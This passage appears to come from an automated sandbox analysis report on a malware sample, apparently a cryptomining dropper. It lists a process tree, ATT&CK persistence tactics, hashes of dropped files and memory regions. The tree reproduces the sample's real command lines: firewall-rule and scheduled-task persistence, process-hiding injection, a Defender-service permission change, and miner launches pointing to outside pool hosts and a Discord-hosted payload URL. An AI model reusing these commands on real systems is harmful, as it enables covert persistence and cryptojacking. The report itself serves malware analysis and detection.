- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll4⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeC:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:804⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exeC:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe -o showlock.net:40001 --rig-id dbeb1c6f-4ecf-46f1-903b-c0e55cfb05f1 --tls --nicehash -o showlock.net:443 --rig-id dbeb1c6f-4ecf-46f1-903b-c0e55cfb05f1 --tls --nicehash -o showlock.net:80 --rig-id dbeb1c6f-4ecf-46f1-903b-c0e55cfb05f1 --nicehash --http-port 3433 --http-access-token dbeb1c6f-4ecf-46f1-903b-c0e55cfb05f1 --randomx-wrmsr=-15⤵
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe -hide 47445⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exeC:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exeC:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe4⤵
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Persistence
Create or Modify System Process
1Windows Service
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pwecwcde.zjn.ps1Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exeFilesize
2.8MB
MD5713674d5e968cbe2102394be0b2bae6f
SHA190ac9bd8e61b2815feb3599494883526665cb81e
SHA256f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057
SHA512e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb
-
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeFilesize
2.0MB
MD5dcb505dc2b9d8aac05f4ca0727f5eadb
SHA14f633edb62de05f3d7c241c8bc19c1e0be7ced75
SHA25661f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551
SHA51231e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeFilesize
281KB
MD5d98e33b66343e7c96158444127a117f6
SHA1bb716c5509a2bf345c6c1152f6e3e1452d39d50d
SHA2565de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
SHA512705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5
-
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exeFilesize
5.2MB
MD54f649a57b7ddf3874c9a2163a73e9b07
SHA19c966520ba8233f13f168cade548baf5a30823ba
SHA256830afffc7dd32e007736f0d97e8d02f68f80988266e68e3de3250aa189ac8491
SHA512b2374bac551b0d4e87f38eb0090a9df0705a8600667fecba6a94e5c67ff93fc8b4707a905ce0e5ef0909e91b04dc01d74c21887a5b5958b8b2fd01faed253aac
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
2KB
MD5db01a2c1c7e70b2b038edf8ad5ad9826
SHA1540217c647a73bad8d8a79e3a0f3998b5abd199b
SHA256413da361d77055dae7007f82b58b366c8783aa72e0b8fbe41519b940c253b38d
SHA512c76ff57fcee5cdf9fdf3116d4e1dc0cf106867bf19ab474b763e242acf5dca9a7509cb837c35e130c3e056636b4e8a4e135512a978bcd3dd641e20f5bf76c3d6
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheFilesize
41KB
MD50f38a17bbaa7b6f75f51c671be981097
SHA1ee95e5225cfb623b6ddd58902bf72504993e2030
SHA25603f4d293b34e18f429d34282179a04a705d448f3b88b88982486997f6cd51f39
SHA512429100ae213ea857fa3fefea7b512bb616219f76cf2a55a4735776650806d42582ff886cd4779a1406d2bc9d0f514c93e40c3d12d9e764ffa8b880067bd704a2
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD5151c2ccd2a90c70193ca0a3f77048ffb
SHA1e191e886e25fa443184580f1f65bef09e7fd8446
SHA25608580c013a6ba611dc1b9ba7e7b2bd81d8aedcb6d5b459ca3522afdc7f57a5c8
SHA512a4428d8d3427a619b4f3c2857cfcb8724d35667e4a1f60f95454e6f45b717203605eb9f1411ff8502bd699725ea49caa6433e89ddffb475b9a159639d968edd1
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD56b431a68db5603ae5d79fa5559128fd2
SHA1246528e601c026ebba17f56a2986bdf546b76c65
SHA256a14acc139fad695eae9ff81643e93cbfd4c460a5e87eefd8f6bb36baa95b3714
SHA51265b5d229bf92a85ca3fcda96e78b0cb428b4c279473d9c68e588c2fd5d25ed5f4167a4b54b34e59828e3f33a7967f2f478d2236234f735ba8a84c0e80bb6ae06
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD5f7d6bb6f88c8d6de2fd17c176f82b8d6
SHA1e3ae613727267b65f86ef479a5ddcfa29f9218ab
SHA25677b81b64f6b52316e738374849f37a975af213d4fc35167e0443ac2085b1f037
SHA512163d8cdcaefd6dfa49907472e5ae39b2e322301c863edd1975abf94aaf4aeb30d0823e89e53730ccf9b4504f07aa001cdfea85e5075d907aa4aa20a9f9d32658
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD591e4575e88e1849ad001a565f0960dbc
SHA188dc974519c4e76d7ba71a5a3b106c709b752324
SHA2569a430181cd9d57dca53ba97b599df7a5b542d33b4aeffa85c958be7f0d011d66
SHA5127e430ff3b29f5171c3e41c002ddefd8c27173c630de4ba11a1b54affbea1dd7b3bad19f6b55c7afdd58a2deab57150f0647cb608485c0a07137ceec99a155703
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD5bb735efb39973069f1600c4799e71a56
SHA1f2817f962bf51245972eb1798c69ace4bf9190fa
SHA256a72ddb37a0a299aa7d947e6ea99a0afb5d3fb7d17b8bb1f30b1cf310f18db97a
SHA512335ad78c51292dea55bccc860d00fd815893af554764727878b5c869b9451a86bf8d561e5f4fee02cd9f13636538f90dccaaece68d17c1fb848b5cdf673ccc88
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD5f734772cbafd8d9f70a0cc38c6093bea
SHA1a16a3b33619a90accf31c22c08353d49657102d0
SHA25630e5a85263deed71b9eef0e4bdaed01de649eef328fcb12bfed7b24e5c63f496
SHA51269fcfda51093f4f02eeaad274febbf3ffab53fda0b53d1b1975a5a322df8abaa888a722c6f6a509b5d5d5ec7f93ed1e664a4d8987929e6c8bdae7ec2511464f2
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
17KB
MD5805bc08f5242660cc2c582502e2a2938
SHA12fb010cd3e2a82a6033a85d38f90847d148e78b4
SHA25681056054bc2516fedc583a1c2cf5f250e9a50ecf1a046f3a0e08be14d3fe9fe5
SHA51260091dbe347462b4cc64ef30b95bb9cd914fb004cd2384fbd1cb137dab0b89044abf27a4dd5c7301d32051fa6bd59bbb67ff49fca8a4a310cc753a59458358c3
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD5a6d418001429f694ed18eda5cf4d0075
SHA18d64082e569fd29beebbdeff654ad1cea4d62bb9
SHA25602e92898f6605536e4657a7a1132a5886500e0ba07973246675f720bb025e6dd
SHA512c2a75e4935701a00d3723b33236dbd2dd173b3aa1be527619499a5dcd98a7708ff7de7a98dbd252510c8f504f2803962d19f0824cad17ab839abd6e2cc35394f
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD5e3fb7793aafc770e4e2cedbfa55eb554
SHA153c0636de99465e90d0e0c22b1b099e6725cf4d1
SHA2561aab10dbd64f6f64302e507b699d310b6e7761fc1ba49a6a01e2dc6cd5db643b
SHA51224a5737743585db7f71657ba9fc7583aa026570200b970c6f93e628bf9bb73cdad01bc48eeb9e9ff817852e440bed7dd850509a1042d0fb4e588a4b9dd543219
-
C:\Windows\rss\csrss.exeFilesize
4.2MB
MD51795078e20a91b11e2513be31204d3ef
SHA142de327abdd5107e40b821f128c9749866a326db
SHA2567e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac
SHA5123bdb04006e5831b0b3999c4fb3790e640b2a03c489599971a5a15e2099dfaeaed0439e1b9a19769247653905073ce4110386250af7ec1b489f5db3c847f1678b
-
C:\Windows\windefender.exeFilesize
2.0MB
MD58e67f58837092385dcf01e8a2b4f5783
SHA1012c49cfd8c5d06795a6f67ea2baf2a082cf8625
SHA256166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa
SHA51240d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec
-
memory/808-338-0x0000000006D30000-0x0000000006D40000-memory.dmpFilesize
64KB
-
memory/808-311-0x00000000733F0000-0x0000000073ADE000-memory.dmpFilesize
6.9MB
-
memory/808-310-0x00000000079A0000-0x0000000007CF0000-memory.dmpFilesize
3.3MB
-
memory/808-308-0x0000000006D30000-0x0000000006D40000-memory.dmpFilesize
64KB
-
memory/808-309-0x0000000006D30000-0x0000000006D40000-memory.dmpFilesize
64KB
-
memory/808-312-0x0000000007EC0000-0x0000000007F0B000-memory.dmpFilesize
300KB
-
memory/808-337-0x0000000009410000-0x00000000094B5000-memory.dmpFilesize
660KB
-
memory/808-332-0x0000000070190000-0x00000000704E0000-memory.dmpFilesize
3.3MB
-
memory/808-331-0x0000000070120000-0x000000007016B000-memory.dmpFilesize
300KB
-
memory/808-548-0x00000000733F0000-0x0000000073ADE000-memory.dmpFilesize
6.9MB
-
memory/1916-574-0x000000007E920000-0x000000007E930000-memory.dmpFilesize
64KB
-
memory/1916-552-0x00000000733F0000-0x0000000073ADE000-memory.dmpFilesize
6.9MB
-
memory/1916-553-0x0000000006850000-0x0000000006860000-memory.dmpFilesize
64KB
-
memory/1916-554-0x0000000007930000-0x0000000007C80000-memory.dmpFilesize
3.3MB
-
memory/1916-581-0x0000000006850000-0x0000000006860000-memory.dmpFilesize
64KB
-
memory/1916-575-0x0000000070120000-0x000000007016B000-memory.dmpFilesize
300KB
-
memory/1916-576-0x0000000070170000-0x00000000704C0000-memory.dmpFilesize
3.3MB
-
memory/1916-790-0x00000000733F0000-0x0000000073ADE000-memory.dmpFilesize
6.9MB
-
memory/2212-1827-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1797-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1803-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1805-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1807-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1809-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1811-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1813-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1815-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1817-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1819-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1821-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1823-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1825-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1829-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1857-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1799-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1801-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-2281-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1795-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1793-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1791-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-2596-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1789-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1787-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1776-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1785-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-2474-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1043-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2212-1040-0x0000000005200000-0x00000000055F9000-memory.dmpFilesize
4.0MB
-
memory/2624-1786-0x0000000000400000-0x00000000008DF000-memory.dmpFilesize
4.9MB
-
memory/2624-1790-0x0000000000400000-0x00000000008DF000-memory.dmpFilesize
4.9MB
-
memory/3044-1783-0x0000000000400000-0x00000000008DF000-memory.dmpFilesize
4.9MB
-
memory/4132-2354-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/4132-2624-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/4132-2630-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/4280-307-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/4280-815-0x0000000004D50000-0x0000000005157000-memory.dmpFilesize
4.0MB
-
memory/4280-1037-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/4280-304-0x0000000004D50000-0x0000000005157000-memory.dmpFilesize
4.0MB
-
memory/4280-821-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/4320-1045-0x0000000007750000-0x0000000007AA0000-memory.dmpFilesize
3.3MB
-
memory/4320-1046-0x0000000073350000-0x0000000073A3E000-memory.dmpFilesize
6.9MB
-
memory/4320-1044-0x0000000000940000-0x0000000000950000-memory.dmpFilesize
64KB
-
memory/4320-1048-0x0000000007C50000-0x0000000007C9B000-memory.dmpFilesize
300KB
-
memory/4472-3-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/4472-301-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/4472-303-0x0000000005130000-0x0000000005A1B000-memory.dmpFilesize
8.9MB
-
memory/4472-2-0x0000000005130000-0x0000000005A1B000-memory.dmpFilesize
8.9MB
-
memory/4472-1-0x0000000004D20000-0x0000000005128000-memory.dmpFilesize
4.0MB
-
memory/4700-1033-0x00000000733F0000-0x0000000073ADE000-memory.dmpFilesize
6.9MB
-
memory/4700-795-0x0000000006EE0000-0x0000000006EF0000-memory.dmpFilesize
64KB
-
memory/4700-794-0x0000000006EE0000-0x0000000006EF0000-memory.dmpFilesize
64KB
-
memory/4700-793-0x00000000733F0000-0x0000000073ADE000-memory.dmpFilesize
6.9MB
-
memory/4700-816-0x0000000070120000-0x000000007016B000-memory.dmpFilesize
300KB
-
memory/4700-817-0x0000000070170000-0x00000000704C0000-memory.dmpFilesize
3.3MB
-
memory/4700-822-0x000000007E3B0000-0x000000007E3C0000-memory.dmpFilesize
64KB
-
memory/4700-824-0x0000000006EE0000-0x0000000006EF0000-memory.dmpFilesize
64KB
-
memory/4744-2184-0x0000026E8AA40000-0x0000026E8AA60000-memory.dmpFilesize
128KB
-
memory/5076-84-0x0000000009B20000-0x0000000009BB4000-memory.dmpFilesize
592KB
-
memory/5076-2181-0x0000000000400000-0x00000000008E1000-memory.dmpFilesize
4.9MB
-
memory/5076-83-0x0000000000920000-0x0000000000930000-memory.dmpFilesize
64KB
-
memory/5076-74-0x00000000098C0000-0x00000000098F3000-memory.dmpFilesize
204KB
-
memory/5076-75-0x0000000070000000-0x000000007004B000-memory.dmpFilesize
300KB
-
memory/5076-76-0x0000000070050000-0x00000000703A0000-memory.dmpFilesize
3.3MB
-
memory/5076-82-0x0000000009900000-0x00000000099A5000-memory.dmpFilesize
660KB
-
memory/5076-77-0x00000000098A0000-0x00000000098BE000-memory.dmpFilesize
120KB
-
memory/5076-66-0x0000000008A80000-0x0000000008AF6000-memory.dmpFilesize
472KB
-
memory/5076-35-0x00000000089C0000-0x00000000089FC000-memory.dmpFilesize
240KB
-
memory/5076-16-0x0000000007E40000-0x0000000007E8B000-memory.dmpFilesize
300KB
-
memory/5076-15-0x0000000007920000-0x000000000793C000-memory.dmpFilesize
112KB
-
memory/5076-14-0x0000000007540000-0x0000000007890000-memory.dmpFilesize
3.3MB
-
memory/5076-73-0x000000007E9D0000-0x000000007E9E0000-memory.dmpFilesize
64KB
-
memory/5076-277-0x0000000009A80000-0x0000000009A9A000-memory.dmpFilesize
104KB
-
memory/5076-13-0x00000000074D0000-0x0000000007536000-memory.dmpFilesize
408KB
-
memory/5076-11-0x0000000006B90000-0x0000000006BB2000-memory.dmpFilesize
136KB
-
memory/5076-12-0x0000000006D10000-0x0000000006D76000-memory.dmpFilesize
408KB
-
memory/5076-10-0x0000000006EA0000-0x00000000074C8000-memory.dmpFilesize
6.2MB
-
memory/5076-8-0x0000000000920000-0x0000000000930000-memory.dmpFilesize
64KB
-
memory/5076-9-0x0000000000920000-0x0000000000930000-memory.dmpFilesize
64KB
-
memory/5076-7-0x00000000732F0000-0x00000000739DE000-memory.dmpFilesize
6.9MB
-
memory/5076-6-0x0000000000930000-0x0000000000966000-memory.dmpFilesize
216KB
-
memory/5076-282-0x0000000009A60000-0x0000000009A68000-memory.dmpFilesize
32KB
-
memory/5076-300-0x00000000732F0000-0x00000000739DE000-memory.dmpFilesize
6.9MB